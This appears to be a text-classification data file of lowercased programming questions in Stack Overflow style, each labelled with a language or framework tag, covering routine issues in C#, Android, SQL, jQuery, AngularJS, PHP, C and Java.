c# substring from specific character until first space  i want to replace string that start with specific character until first space space after that (or maybe first specific character) with another string.    for example if we have a string like this:   <pre><code>aaa bbb ccc @ddd eee fff @ggg hh#iii. jj </code></pre>   i want to make it something like this.   <pre><code>aaa bbb ccc @mmm eee fff @mmm hh#mmm. jj </code></pre>   <a href= https://stackoverflow.com/questions/12108582/extracting-string-between-two-characters >i found a solution</a> but that s not helpful for me.    <strong>update:</strong>    i want to replace all word that start with <code>@</code> or <code>#</code> and ended with <code></code> or <code>.</code> or something else that i want with a string like <code>mmm</code>.   <blockquote>    in a real example i only know some work start with <code>@</code> or <code>#</code>.  </blockquote>,c#
adding web reference in c#  i am new to c#  can any tell me how to  add a web reference to my project and what kind of project should i select,c#
how to calculate days between two dates in ios. in between two dates  my question is to calculate days between two different dates in ios. to calculate how many days between two dates. i have to calculate 1990/02/05 to today date how many days in between.,ios
programming tests  i seeking a web site for programming skills testing. maybe free analogue of codility or something like when you get a task  and need to upload a correct answer code  solving the task. namely i interested in c++. thanks.,c++
google maps api wheelchair accessible places filtering  my team is creating a map of wheelchair-accessible travel destinations.    a few months ago i discovered that google developers added finally the option to mark every place on the map as wheelchair-accessible. we really want to use this function in our app and the web site  allowing our users to sort all accessible places and to show only accessible places in our region. unfortunately we haven t been able to figure out how to do this.    does anybody know how to filter destinations this way using the google maps api,asp.net
cannot set different images and text in a list view  i  m trying to achieve a listview in android that displays different images and text in each row of a list view. when i run my code in android studio  it s showing error :   <pre><code>e/androidruntime﹕ fatal exception: main process: com.vanjasrivastava.customlistview  pid: 1157 java.lang.runtimeexception: unable to start activity    componentinfo{com.vanjasrivastava.customlistview/com.vanjasrivastava.customlistview.myactivity}:   java.lang.arrayindexoutofboundsexception: length=7; index=7   caused by: java.lang.arrayindexoutofboundsexception: length=7; index=7         at com.vanjasrivastava.customlistview.myactivity.oncreate(myactivity.java:90) </code></pre>   the line no.90 in myactivity.java is :   <pre><code> hm.put( txt    country :   + countries[i]); </code></pre>   please guide. thanks in advance.     below is my code:    myactivity.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= fill_parent  android:layout_height= fill_parent  android:orientation= vertical  &gt;  &lt;textview     android:id= @+id/textview      android:layout_width= fill_parent      android:layout_height= wrap_content      /&gt;  &lt;listview     android:id= @+id/listview      android:layout_width= fill_parent      android:layout_height= wrap_content      /&gt;   &lt;/linearlayout&gt; </code></pre>   mylist.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent  android:orientation= horizontal  &gt; &lt;imageview     android:id= @+id/flag      android:layout_width= wrap_content      android:layout_height= wrap_content        android:paddingtop= 10dp      android:paddingright= 10dp      android:paddingbottom= 10dp      /&gt;  &lt;linearlayout     android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical      &gt;     &lt;textview         android:id= @+id/txt          android:layout_width= wrap_content          android:layout_height= wrap_content          android:textsize= 15dp          /&gt;      &lt;textview         android:id= @+id/cur          android:layout_width= wrap_content          android:layout_height= wrap_content          android:textsize= 10dp          /&gt; &lt;/linearlayout&gt;  &lt;/linearlayout&gt; </code></pre>   myactivity.java   <pre><code>package com.vanjasrivastava.customlistview;   import java.util.arraylist;  import java.util.hashmap;  import java.util.list;   import android.app.activity;  import android.os.bundle;   import android.widget.listview;  import android.widget.simpleadapter;  public class myactivity extends activity {  // array of strings storing country names string[] countries = new string[] {           mr.vikas raina            mrs. jeetu sharma            mr.kuashik ghosh            mr.niranjan lal            ms. swati garg            ms. manju            mr. manish k. kakhani    };  // array of integers points to images stored in /res/drawable-ldpi/ int[] flags = new int[]{          r.drawable.ghosh           r.drawable.jeetu           r.drawable.manish          r.drawable.manju           r.drawable.nlal           r.drawable.swati           r.drawable.vikas   };  // array of strings to store currencies string[] currency = new string[]{           assistant professor            assistant professor             assistant professor            assistant professor            assistant professor            assistant professor            assistant professor     };  /** called when the activity is first created. */ @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_my);      // each row in the list stores country name  currency and flag     list&lt;hashmap&lt;string string&gt;&gt; alist = new arraylist&lt;hashmap&lt;string string&gt;&gt;();      for(int i=0;i&lt;10;i++){         hashmap&lt;string  string&gt; hm = new hashmap&lt;string string&gt;();         hm.put( txt    country :   + countries[i]);         hm.put( cur   currency :   + currency[i]);         hm.put( flag   integer.tostring(flags[i]) );         alist.add(hm);     }      // keys used in hashmap     string[] from = {  flag   txt   cur  };      // ids of views in listview_layout     int[] to = { r.id.flag r.id.txt r.id.cur};      // instantiating an adapter to store each items     // r.layout.listview_layout defines the layout of each item     simpleadapter adapter = new simpleadapter(getbasecontext()  alist  r.layout.mylist  from     to);      // getting a reference to listview of main.xml layout file     listview listview = ( listview ) findviewbyid(r.id.listview);      // setting the adapter to the listview     listview.setadapter(adapter); } } </code></pre>,android
is there a way to delete older version of android app through an updated app version  please allow me to explain the problem  i built and released and android app that uses google map. the certificate used to sign that app was lost and so i couldn t release the next update under the same name as the previous per google play rules.    for this reason i was forced to sign the app with a new certificate and rename the app. now user with previous are reporting issues with double instances of the same. indeed not much of difference in those two instances except the names and certificates used to sign them.    so my question is  how can ease the transition work for my users  i know uninstalling the old version and installing the new does the trick  but i am just wondering if there is some level of control that i can implement either through code of settings in google play to make things clearer and easier for the app users   also if you think my perspective of the problem is wrong too  please suggest a better one. thanks in advance!,android
template return when element is a struct  so as the title states i have this problem. i m implementing a doubly linked list as a template and on some of the functions like    <pre><code>element getfirst(); element getlast(); element getposition(int position); </code></pre>   they are supposed to return an element of type element. the problem is  what if the list is empty  what do i return then  i can t return 0 or some integer because what if my element is a struct. it will crash later in the code. what should my return be then   i tried creating an empty variable of type element and sending it but this doesn t work either.  any ideas     i can provide any piece of code you need  or information. just ask,c++
what is the correct type for this loop   where roomcentrenodevectors is a vector of vectors of ints. roomkills is a vector of ints and level.nodes() returns a vector of node objects. the node object s room() function returns and int.   <pre><code>for (std::vector&lt;std::vector&lt;int&gt;&gt;::size_type i = 0; i &lt; level.roomcentrenodevectors().size(); i++) {     roomkills.push_back(level.nodes()[level.roomcentrenodevectors()[i][0]].room()); } </code></pre>   or   <pre><code>for (std::vector&lt;int&gt;::size_type i = 0; i &lt; level.roomcentrenodevectors().size(); i++) {     roomkills.push_back(level.nodes()[level.roomcentrenodevectors()[i][0]].room()); } </code></pre>,c++
memoizing @property values in objective-c  i have properties in a class that i want to calculate lazily at runtime. however  once they ve been calculated they won t change. is there syntactic sugar for memoizing values  right now i have code like this all over the place:   <pre><code>@property (nonatomic  retain) nsstring *bedroomsstring;  ...  - (nsstring *)bedroomsstring {     if (_bedroomsstring == nil) {         _bedroomsstring = [nsstring stringwithformat:@ %@bd   _bedrooms];     }     return _bedroomsstring; } </code></pre>   i d like to just do something like   <pre><code>@property (nonatomic  retain  memoize) nsstring *bedroomsstring;  ....  - (nsstring *)bedroomsstring {     return [nsstring stringwithformat:@ %@bd   _bedrooms]; } </code></pre>   anyone know of such a thing,objective-c
how to put an image behind a text box   i have <a href= http://jsfiddle.net/q2rpp/  rel= nofollow >this linked code</a>  which creates a transparent text box with an overlapped image. however  how do i get the image to be behind the text box  with the transparency effect  right now  the image is blocking the text etc.    thanks.   <pre><code>    &lt;div class= grid12-6 &gt; &lt;!-- start text box div --&gt; &lt;div style= z-index:1;width: 75%; -webkit-border-radius: 35px 0px 35px 0px; -moz-border-radius: 35px 0px 35px 0px; border-radius: 35px 0px 35px 0px; background:rgba(0 120 0 0.5); padding: 25px 0px 25px 25px; -webkit-box-shadow: #b3b3b3 5px 5px 5px; -moz-box-shadow: #b3b3b3 5px 5px 5px; box-shadow: #b3b3b3 5px 5px 5px; &gt; &lt;ul style= font-size: larger;color:#fff; &gt; &lt;li&gt;some text&lt;/li&gt; &lt;li&gt;some text&lt;/li&gt; &lt;li&gt;some text&lt;/li&gt; &lt;li&gt;some text&lt;/li&gt; &lt;li&gt;some text&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;&lt;!-- end text box div --&gt;     &lt;div style= z-index:0;position: relative;top:-25px &gt;         &lt;img src= http://placekitten.com/200/200  alt=   /&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>,css
why is my white space being stripped out from my html   i have just noticed that my rails app is now stripping out all seemingly unnecessary white space from my fields. it never used to do this  and i have (perhaps foolishly) some javascript that is relying on this white space which is now not working.    how can i turn this off,ruby-on-rails
core data vs plist: making weapons and attachments  so i m trying to make one-to-many and many-to-many relationships with weapons and attachments  actually much more but keeping it simple here. i can make a one-to-many weapon entity that goes to specific weapons like m16 and ak47. then i can make a one-to-many attachment entity that has specific entities like suppressor and red dot sight. then i can add relationships like an inverse relationship from m16 to red dot.     so i believe i can make this diagram using core data s editor  but i m not sure i could actually use this. if i wanted the user to be able to pick an m16 and then choose appropriate attachments  how would i read this from core data  i don t think i can because i m not actually making the m16 object with all the possible attachments. i really hope this makes sense.     i started making a plist of all of this information but that sucks because now i have a lot many-to-many relationships that i need to make by hand.    i m just looking for some sort of direction on the way to go so i don t spend a bunch of time going the least efficient way.,iphone
using .next() to find and display next div  i have some divs and spans that are created dynamically with php. when the spans are clicked  i would like the next  add player  div to slide down.     i want to use   <pre><code>$(document).on( click   .plus  function(){     $(this).find( #add_player ).slidetoggle(); }); </code></pre>   but i can t do that without the  add player  div being inside the span tag... which i don t want.    so next i tried:   <pre><code>$(document).on( click   .plus  function(){     $(this).parent().parent().next( #add_player ).slidetoggle(); }); </code></pre>   and that did not work either.   <pre><code>&lt;div id= roster &gt;      &lt;div&gt;          &lt;span class= plus &gt;+&lt;/span&gt;          &lt;div id= add_player &gt;          &lt;/div&gt;      &lt;/div&gt;  &lt;/div&gt; </code></pre>   am i structuring the html correctly,jquery
prevent modalpopup closing on postback  i have a <code>textbox</code>  button and <code>gridview</code> inside <code>jquery</code> modal popup. on page load i display the modal popup and enter a value in textbox then click button. in code-behind i wrote some functionality to calculate something and displayed it in the gridview but the modal popup should not close. in my case  while post back the modal popup closed. i am not using <code>modalpopupextender</code> and update panel  without using <code>modalpopup</code> extender and update panel how to prevent modal popup closing while post back,asp.net
need to replicate controls for number of days in current month  i am creating a row (tr>) which contains multiple .  in the code below; i will need to replicate controls in the highlighted section below for the number of days in current month. instead of writing the highlighted section of the code 30 or 31 times manually; is there a better way to get it done    <pre><code>enter code here </code></pre>       <pre><code>     &lt;tr id= tr4  style= height:72px  runat= server &gt;          &lt;td valign= top  colspan= 1  align= center  class= employee  width= 150  style= display:none &gt;              &lt;asp:label id= lblcounter  name= lblcounter  runat= server  text= &lt;%# container.dataitemindex + 1 %&gt; /&gt;           &lt;td valign= top  colspan= 1  align= center  class= employee  width= 150  style= display:none &gt;              &lt;asp:label id= lblrecordid  name= lblrecordid  runat= server  text= &lt;%#eval( recordid ) %&gt; /&gt;          &lt;/td&gt;       &lt;/td&gt;          &lt;td valign= top  colspan= 1  align= center  class= employee  width= 150  style= display:none &gt;              &lt;asp:label id= lblemployeeid  name= lblemployeeid  runat= server  text= &lt;%#eval( employeeid ) %&gt; /&gt;          &lt;/td&gt;        &lt;td valign= top  colspan= 1  align= center  class= employee  width= 150 &gt;           &lt;asp:label id= lblemployeename  runat= server  text= &lt;%#eval( employeename )%&gt;  /&gt;       &lt;/td&gt;  </code></pre>         <br />   <br />    columns= 1  style= text-align:right /> <br />                                                                                                     <br />    <pre><code>         &lt;asp:label id= lblhoursworked2  runat= server  text= hoursworked  /&gt;           &lt;asp:textbox id= txthoursworked2  runat= server  autopostback= true               text=   columns= 1  style= text-align:right /&gt;              &lt;br /&gt;            &lt;asp:label id= lblotmealspaid  runat= server  text= meals paid /&gt;           &lt;asp:textbox id= txtotmealspaid2  runat= server  autopostback= true  enabled= false               text= &lt;%#eval( otmealspaid ) %&gt;  columns= 1  style= text-align:right /&gt;            &lt;br /&gt;         &lt;/td&gt;         &lt;/tr&gt;     &lt;/itemtemplate&gt; </code></pre>,asp.net
hide table when number of child rows is below certain count  i have a page with 10 php/mysql generated tables. all the tables have the same id.    the number of rows is different. when the rowcount of one of the tables is smaller then 3  i would like to hide the complete table.    how can i loop through the tables and hide the specific table(s). with the use of jquery,jquery
how to go next page after login successfully using angularjs   i have restful api for <strong>login</strong> which has written in  <strong>laravel php</strong> . i have to use that restfull api with angularjs. and after getting successfully login response   new page should open   for doing this i am using  <strong>ngroute</strong>   but i am not able to do it properly.    can anybody tell how can i do this.    here is my code:   <pre><code>var qaapp = angular.module( qaapp   [ ngroute    emoji    ngsanitize ]);  //route provider from one page to another page    qaapp.config(function($routeprovider    $locationprovider) {         $routeprovider.           when( /   {             templateurl:  login.html               controller:  loginctrl            }).           when( /login   {             templateurl:  qa.html               controller:  askbyctrl            }).             otherwise({             redirectto:  /            });       }); </code></pre>   <strong>login controller:</strong>   <pre><code>function loginctrl($scope  $http  $location){    // create a blank object to hold our form information   // $scope will allow this to pass between controller and view     $scope.formdata = {};   //login function      $scope.login = function() {      var request = $http({                       method:  post                          url: server +  api/login                         data : $.param($scope.formdata)                        headers : {  content-type :  application/x-www-form-urlencoded  }                    });      request.success(function(data  status  headers  config) {         alert(data.error+   +data.description);         /*console.log(data);*/         $scope.response = data;         });      }; </code></pre>   please tell me how i can do this.,angularjs
how to create one folder at google drive for new folder creation and id number of new folder  how to create one folder at google drive after our device obtains the authorization of “gtmappauth”  is the sdk inclusive of the api for new folder creation and id number of new folder  if yes  how to get the api ad id number.,ios
need help with mysql table relation design  i m creating web application for my friend  a tutor school system. now  i m having a problem about designing table to store teacher record. here is the scenario ...<br><br>1. we have to create course first<br>2. then we add teacher to course (let s say that we already have teacher record stored in teacher table)  each course can have more than one teacher and each teacher can teach more than one course.<br>3. everytime teacher come to teach  we keep record. each teacher teaching at a course more than once.<br>4. by the end of the month  we pull all teaching record out and calculate money we have to pay<br><br>this is my current tables   <pre><code>// course table course_id (pk) ... ...  // teacher table teacher_id (pk) ... ...  // course_teacher course_id (fk: course.course_id) teacher_id (fk: teacher.teacher_id) </code></pre>   the problem is i can t add fee to the course_teacher table because at the first moment i add teacher to this course  there is no teaching happened yet. if i add column  fee  and  date  to this table  data will be like ...    1 1 null null (this record add before the course is starting  which i don t like having null field(s))<br>1 1 50 2011-06-12 (this record add at the first time teacher is teaching)<br>1 1 50 2011-06-19 (this record add at the second time teacher is teaching)<br>...<br><br>i was thinking about adding one more table like   <pre><code>//teaching_fee course_id (fk: course.course_id) teacher_id (fk: teacher.teacher_id) fee paid_status date </code></pre>   if i do so <br>1. course_teacher will keep information of teacher related to course<br>2. teaching_fee will keep information of the teaching fee    it should works. but  something in my mind is telling me that this is not right. those two tables are similar to each other even their creation purpose are different.    any suggestion     <strong>edit 1</strong>: just came up with one idea. what if do this way   <pre><code>//course_teacher table id (pk) course_id (fk: course.course_id) teacher_id (fk: teacher.teacher_id)  //teaching_fee table id (fk: course_teacher.id) fee paid_status date </code></pre>   <strong>final solution</strong>: i decided to do as <strong>btreat</strong> suggested   <pre><code>// course table course_id (pk) ... ...  // teacher table teacher_id (pk) ... ...  // course teacher table course_teacher_id (pk) // synthetic teacher_id (fk) course_id (fk) ... ...  // teacher fee table course_teacher_id (pk) date_paid (pk) fee paid_status ... ... </code></pre>,mysql
search functionality using selenium  how to search 100 keyword using selenium web driver       if user wants to enter 100 keywords in each time.    like...    jomashop  salvation army  red cross  world vision  roofing  smile train  movers  american red cross  plumbers  goodwill american cancer society cash call  united way  electrician  doctors without borders  pest control  magic jack  where’s my tutor  just energy  locks of love  painters  landscaping  concrete  vivint  handyman  loandepot  windows  case  locksmith  newegg  directtv  vemma  loandepot.com  heifer international  carpet cleaning  policeauctions.com  so....on    who can we achieve this..please help me out.,.net
my wrapper never touches the bottom of the screen   i ve started coding a really simple layout i made sometime last year  i ve finished most of it  when i discovered when the  wrapper  div doesn t touch the bottom of the page  as if it has the  position: fixed  style on it  but it doesn t have that style. and i m also stuck on why the footer div isn t at the bottom  its right below the  topbar  div. i m really confused because i have no idea why  the footer and the wrapper divs aren t working properly ;(    i ve published it to my site on the link below so you can check the html/css. <a href= http://henrynorthen.com/exp/softgreen/  rel= nofollow >henrynorthen.com</a>,css
rounding float field to 2 decimal places errors  i have a field and am rounding up the values to 2 decimal places  after running me query 4.267 becomes 4.27 which is correct but 5.425 becomes 5.42 which is wrong help pls.,sql
sql : column having occasional null value inside and clause  below is a part of a large query in which iam facing the issue.   <pre><code>select metricname careertrackid from atp_9375_forecast where ibfcollectionid = vspforecasts.ibfid   and   atp_9375_forecast.atpclclg = atp_9375_cl.careerlevelcode   and   (year&gt;= 2018 and month&gt;=7) </code></pre>   the problem i am facing is in the second and clause. the month column sometimes is null and hence the query is not returning correct result.    i need to handle the null values in month clause.    i broke this and condition and tried something like below but this didn t work.   <pre><code>and   year&gt;= 2018   and month is not null   and month&gt;=7 </code></pre>,sql
how to select records who match criteria defined in a join table   i have this three tables:   <pre><code>products table: id:integer name:string  features table: id:integer name:string  features_products table: product_id:integer feature_id:integer </code></pre>   the <code>features_products table</code> tells me which features have each product. for example:   <pre><code>product_id feature_id    1         3    1         5    3         4 </code></pre>   tells me the product 1 has features 3 and 5 and product 3 have feature 4  also  product 2 (if exists) doesn t have features.    my question is  how can i <code>select</code> all the products from the products table wich have determinated features  for example  <code>select products which have features 3 and 5</code>  or <code>select products which have feature 2</code>,mysql
what generates notification for the naturalsize of a video in mpmovieplayer   i have  a video in one tab  and some  data analysis based on the video in another tab. my second  tab depends a lot on the naturalsize of the video. i listen to the notification for the video s naturalsize in my first tab and as soon as i get it i store the naturalsize in a shared object for both the tabs and in viewwillappear of the second tab i use the that value.    my problem is the notification for naturalsize is not generated unless i play the video. how should i go about it      i tried playing and pausing the vidoe in first tab s viewdidload but it doesn t work.       <strong>update:</strong> although there is no direct solution for generating the notification but please checkout my answer for a workaround where you don t need to be dependent on the notification at all when you are not streaming a remote video and it s locally available.,ios
how to get the current user domain in serverside while using form authentication   i have an application where i need to find the current log in users domain name  in the server site  but my authentication mode is form  kindly help me out.,asp.net
how to convert cstring to ofstream   i have a few cstring variables that i wish to output to an ofstream  but i can t seem to figure out how to do so. here s some example code.    i have unicode enabled in vs 2005    code:   <pre><code>  ofstream ofile;   cstring str =  some text ;    ofile.open(filepath);    ofile &lt;&lt; str; // doesn t work  gives me some hex value such as 00c8f1d8 instead     ofile &lt;&lt; str.getbuffer(str.getlength()) &lt;&lt; endl; // same as above      ofile &lt;&lt; (lpctstr)str &lt;&lt; endl; // same as above     // try copying cstring to char array   char strary[64];   wcscpy_s(strary  str.getbuffer()); // strary contents are correctly copied   ofile &lt;&lt; strary &lt;&lt; endl ; // same hex value problem again! </code></pre>   any ideas  thanks!,c++
sharing object across angularjs controllers using service  yes  i know this question has been asked but i still have problem following the guides here.     i have two controllers and want to share one simple object via a service as following:    <pre><code>var app = angular.module( plunker   []);  app.controller( ctrlone   function($scope datasrvc) {   $scope.data={     var1: controller1 var one       var2: controller1 var two    };   $scope.$on( name  function(){    datasrvc.var1=$scope.data.var1;    datasrvc.var2=$scope.data.var2;    }); }) .controller( ctrltwo  function($scope datasrvc){   $scope.data=datasrvc; });  app.factory( datasrvc  function(){   return {    var1:       var2:     } }); </code></pre>   i want controller 2 automatically update the object when controller 1 change it. but what have i done wrong here  please advise.     here the <a href= http://plnkr.co/edit/lo0qqfyv94a9yeblsk2r p=preview  rel= nofollow >http://plnkr.co/edit/lo0qqfyv94a9yeblsk2r p=preview</a> code,angularjs
how to force chrome to automatically remove <b> tags from html  google results bold (using <code>&lt;b&gt;</code> tags) any words in the url and description of the search results. i m looking to automatically remove the <code>&lt;b&gt;</code> tags throughout the results.    anyone know a quick and dirty way to do this live inside the search results without having to manually modify the html     <img src= https://i.stack.imgur.com/rmohq.png  alt= image of &#60;b&gt; tags in google result >,html
how can i check the status of user x and user x   i am looking for a select query where i can find out the status of two users  status can be multiple things but let s keep it simple and check if both users are friends or not.    using this query i can select every user that has x status  right now x means no status. but doing so i get the user table returned  i want the return to be true or false. also  this query returns everyone that has x status with user x. i want to return true or false based on: if user x and x have a status  in this case friends. i hope i am not being to vague here.   <pre><code>select      u.* from user u left join user_status us     on u.id = user_id1     and us.user_id2 = 4 where us.status is null </code></pre>   user table:   <pre><code>id-----first_name-----last_name-----etc...&lt;br&gt;** -2--------james----------someting-------...&lt;br&gt; -4----------jack-----------someting-------...&lt;br&gt; -5--------sabrina---------someting-------...&lt;br&gt; </code></pre>   user_status table:   <pre><code>user_id1-----user_id2-----status&lt;br&gt;** -----------4-----------------2-----friends&lt;br&gt; -----------2-----------------4-----friends&lt;br&gt; -----------4-----------------5-----something else&lt;br&gt; -----------5-----------------4-----something else&lt;br&gt; </code></pre>   wanted result:   <pre><code>id 2 (james) &amp; id 4 (jack) isfriend true  id 2 (james) &amp; id 5 (sabrina)&lt;br&gt; isfriend false (they don t even have a status together.) </code></pre>,mysql
show and hide ul tag  i have the following html:   <pre><code>&lt;nav class= menu  role= navigation &gt;   &lt;ul&gt;     &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;       &lt;a href= # &gt;content&lt;/a&gt;       &lt;ul&gt;         &lt;li&gt;&lt;a href= # &gt;files&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;posts&lt;/a&gt;&lt;/li&gt;       &lt;/ul&gt;     &lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;site&lt;/a&gt;&lt;/li&gt;                &lt;/ul&gt; &lt;/nav&gt; </code></pre>   with the following css styles:   <pre><code>nav ul ul {display: none;} // hides the child menus </code></pre>   and the following jquery code:   <pre><code>$( nav.menu a[href= # ] ).click(function () {   $(this).next( ul ).toggle(); }); </code></pre>   which should toggle the visibility of the child menus.    however  when i click the  content  a tag the next ul does not show.    does anyone knows how to solve this,jquery
c# operator== : what is standard practice (reference/value equality)   explanation:   <ul> <li><code>equals()</code> compares the values of two objects.</li> <li><code>referenceequals()</code> compares their references.</li> </ul>   for reference types <code>operator==</code> by default compares references  while for value types it performs (afaik) the equivalent of equals() using reflection.    so. i have a situation where i need to compare two reference types by their values. i can explicitly call <code>equals()</code> or i can overload <code>operator==</code> to perform the desired comparison.    however  overloading <code>operator==</code> for value comparison kinda-sorta violates the principle of least astonishment. on the other hand explicitly calling two-object <code>equals</code> looks like overkill.    what is standard practice here    <hr>   i know how to override <code>equals()</code>. the question was whether it is commonly acceptable to override <code>operator==</code> to test for <strong>value</strong> equality on <strong>reference</strong> types or whether it is commonly accepted practice to explicitly call equals/referenceequals to explicitly specify which comparison you want.,c#
how to print from a file transaction type and amount involved   seperated by comma or single space   every transaction is in a new line and the action (withdraw or debit) is seperated by commas or single spaces. can anyone help me out here  i also need to store the data into an array and determine how many transactions are there the information is in text file like this  w represents withdraw and d represents deposit  i need to get the data into an array fromthe file  (transactions1 and transaction2 are on new lines) assume they are three transactions two of which are show below    transaction1  w 3000 transaction2  d 4000 this is the code that i produced but teh program crashes and nothing gets printed i tried it with out the commas and just single spaces but stil doesnt work   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   int main() {//open main     int i;     char array1[3];//array to store type of transaction   w  or d  depending on    withdraw or deposit     int array2[3];//array to store amount involved in transaction     file *fptr = fopen( transactions.txt    r );     if((fptr = fopen( transactions.txt    r ))==null)     printf( error in opening file );     for (i = 0; i&lt;3 ; i++)     {       fscanf(fptr  %s );       fscanf(fptr   %c   &amp;array1[i]);       fscanf(fptr   %d   &amp;array2[i]);     } //checking whether the values and type of transaction successfully stored in       respective arrays     for (i= 0; i&lt;3; i++)     {        printf( %c   array1[i]);        printf( %d   array2[i]);     }     return 0;  }//close main </code></pre>,c
how can i get the min value in an array above a certain number   i have an array like this: <pre><code>[5229561]=> 8 [5229582]=> 9 [5229583]=> 10 [5229584]=> 11</pre></code> etc    how can i get the minimum value greater than/equal to 10      so  it this example  it would give me 5229583. i know about the min() function  but i m not sure how to get a value greater than 10.,php
how to use observer_field in ror   i have a single select_tag with categories gathered from array in controller. when the user selects a category i want the application to redirect to the selected category. i have the following code in my view which. (i ve tried both using :method => :get and :post  only change is in development.log)   <pre><code>&lt;%=select_tag  cat_selected   options_for_select(@cats_for_mt)%&gt;&lt;br&gt; &lt;%=observe_field  cat_selected     :url =&gt; {:action =&gt; :viewflokkur}    :with =&gt;  cat     :method =&gt; :get %&gt; </code></pre>   when i select one of the options the following gets logged to development.log.   <pre><code>processing categoriescontroller#viewflokkur (for 127.0.0.1 at 2010-06-12 12:33:26) [get] parameters: { cat =&gt; taugasjúkraþjálfun    authenticity_token =&gt;  b2u5ulnr7ij/ta0+hiambjmjetttc/ymaqqvsxfn2d0= } rendering template within layouts/main rendering categories/viewflokkur completed in 20ms (view: 18  db: 0) | 200 ok [http://localhost/categories/viewflokkur cat=taugasj%c3%bakra%c3%bej%c3%a1lfun&amp;authenticity_token=b2u5ulnr7ij%2fta0%2bhiambjmjetttc%2fymaqqvsxfn2d0%3d] </code></pre>   according to this i should now be in  viewflokkur   but nothing changes in the browser window. is there anything else i need to do  maybe in the controller     br <br> sindri,ruby-on-rails
can t access rails application  i have created my apps and everything is there but when i go to my host address  i cannot see anything  it gives me <code>404 not found</code> error. i also did <code>rails server</code> but it seems to hang. it looks like it just stops at <code>webrick:httpserver#start: pid=3457 port 3000</code>. and yes  when i ran <code>rails server</code> it was under the app folder.    i also went to port 3000  it says <code>this page is not available</code>.    when i add an <code>index.html</code> file  i can see that file. but this is obviously not what i want.    what else do i need to check to get to my app,ruby-on-rails
how to use keyword  static  to make this work as intended   i am preparing for the zend certified engineer-exam. using the  testpassport-engine  virtual exam   i came across this question:    consider the following code. which keyword should be used in line marked in bold to make this code work as intended    <pre><code>abstract class base {     protected function __construct() {}      public function create(){            // this line         return new self();     }      abstract function action(); }  class item extends base {     public function action () { echo __class__; } }  $item = item::create(); $item-&gt;action(); </code></pre>   and the correct answer is <code>static</code>. so  how should that look like in the end,php
how can i get the value of previous url in php code   how can i get the value of previous url in php code     here is the url page1.php   <pre><code>http://localhost/spk/kelulusan_process.php lulus=10003 </code></pre>   page2.php:<br> i want to get the parameter from the previous url in page1.php. i use   <pre><code>&lt; php  $_get[ lulus ];  &gt; </code></pre>   but the value is null.,php
java - program accepting negative numbers when it shouldn t  i have to make a program that uses nested loops to collect data and calculate the average rainfall over a period of years. first  the program should ask for the number of years. (the outer loop will iterate once for each year.) the inner loop will iterate 12 times  once for each month. each iteration of the inner loop will ask the user for inches of rainfall for that month. after all iterations  the program should display the number of months  the total inches of rainfall  and the average rainfall per month for the entire period.    input validation: do not accept a number less than 1 for the number of years. do not accept negative numbers for the monthly rainfall.    i have finished the program  but there is a tiny problem: when it asks for the inches  if i enter 1 for the year it is going to to ask to me input inches 12 times. if i put in a negative number first  it will tell me the number is invalid and then loop again and ask me to put a number equal to or more than zero. now if i input a series of numbers that are >=0 and then put a negative number  it does not tell me that i cannot put a negative number. it is not supposed to accept negative numbers at all  but it does when the previous 2 or more number were >= zero.    <pre><code>import java.util.scanner;  public class averagerainfallteller {    /**     * this program tells asks the user to enter an amount of years and then asks     * the user to given the amount of inches that fell for every month during     * those years and then give the average rain fall  total inches of rain and     * total months.     */    public static void main(string[] args) {        double totalinches = 0;        double totalmonths = 0;        double avginches = 0;        double inches = 0;        scanner kb = new scanner(system.in);       system.out.println(  please enter the number of years );       int numyears = kb.nextint();       while (!(numyears &gt;= 1)) {          system.out.println(  please enter the number that is more than or equal to one. );          numyears = kb.nextint();       }        for (int years = 1; years &lt;= numyears; years++) {           for (int months = 1; months &lt;= 12; months++) {             system.out.println( how many inches fell for year:   + years                   +    during month:   + months +     );             inches += kb.nextdouble();             while (!(inches &gt;= 0)) {                system.out.println( please enter the number that is more than or equal to zero. );                system.out.println( how many inches fell for year:   + years                      +    during month:   + months +     );                inches += kb.nextdouble();             }          }       }        totalmonths = 12 * numyears;       avginches = totalinches / totalmonths;       system.out.println( .....here are the results..... );       system.out.println(  );       try {          thread.currentthread().sleep(1000);       } catch (exception e) {       }       system.out.println(     total inches is   + totalinches);       system.out.println(  );       try {          thread.currentthread().sleep(1000);       } catch (exception e) {       }       system.out.println(     average inches is   + avginches);       system.out.println(  );       try {          thread.currentthread().sleep(1000);       } catch (exception e) {       }       system.out.println(     total months is   + totalmonths);    } } </code></pre>,java
parsing error: assigning to rvalue  i m having an issue: parsing error: assigning to rvalue   <pre><code>app.get( /status   (req  res) =&gt; {      res.send({          messge:  hello world!       })  })  </code></pre>   somebody knows how to fix it,javascript
mysql date bug because of subtracting one day  i tried to do the following query to subtract one day from the given date:     <code>date(from_unixtime(unix_timestamp( 2013-04-01 ) - 86400))</code>    which returns me 2013-03-30  but it should return 2013-03-31.    if i try to subtract one day of 2013-04-02  i get 2013-04-01 correctly returned. is this a date bug in mysql,mysql
can t specify target table for update in from clause error  can some help me to solve this query   <pre><code>update     loadbal_webapi_requestdetails set     status= vamsi  where     requestid in (select `lb`.`requestid` as `requestid` from (`loadbal_webapi_requestdetails` `lb` join `global_ar_processes` `ar` on((`ar`.`processid` = `lb`.`processregistryid`))) where ((`lb`.`status` =  received ) and (`ar`.`isprocessavailable` = 1)) order by `lb`.`lastupdateddatetime` )     limit 1;  </code></pre>   i am getting error 1093 - can t specify target table for update in from clause    i am new in query writing  so suggest me in solving the error    thanks,mysql
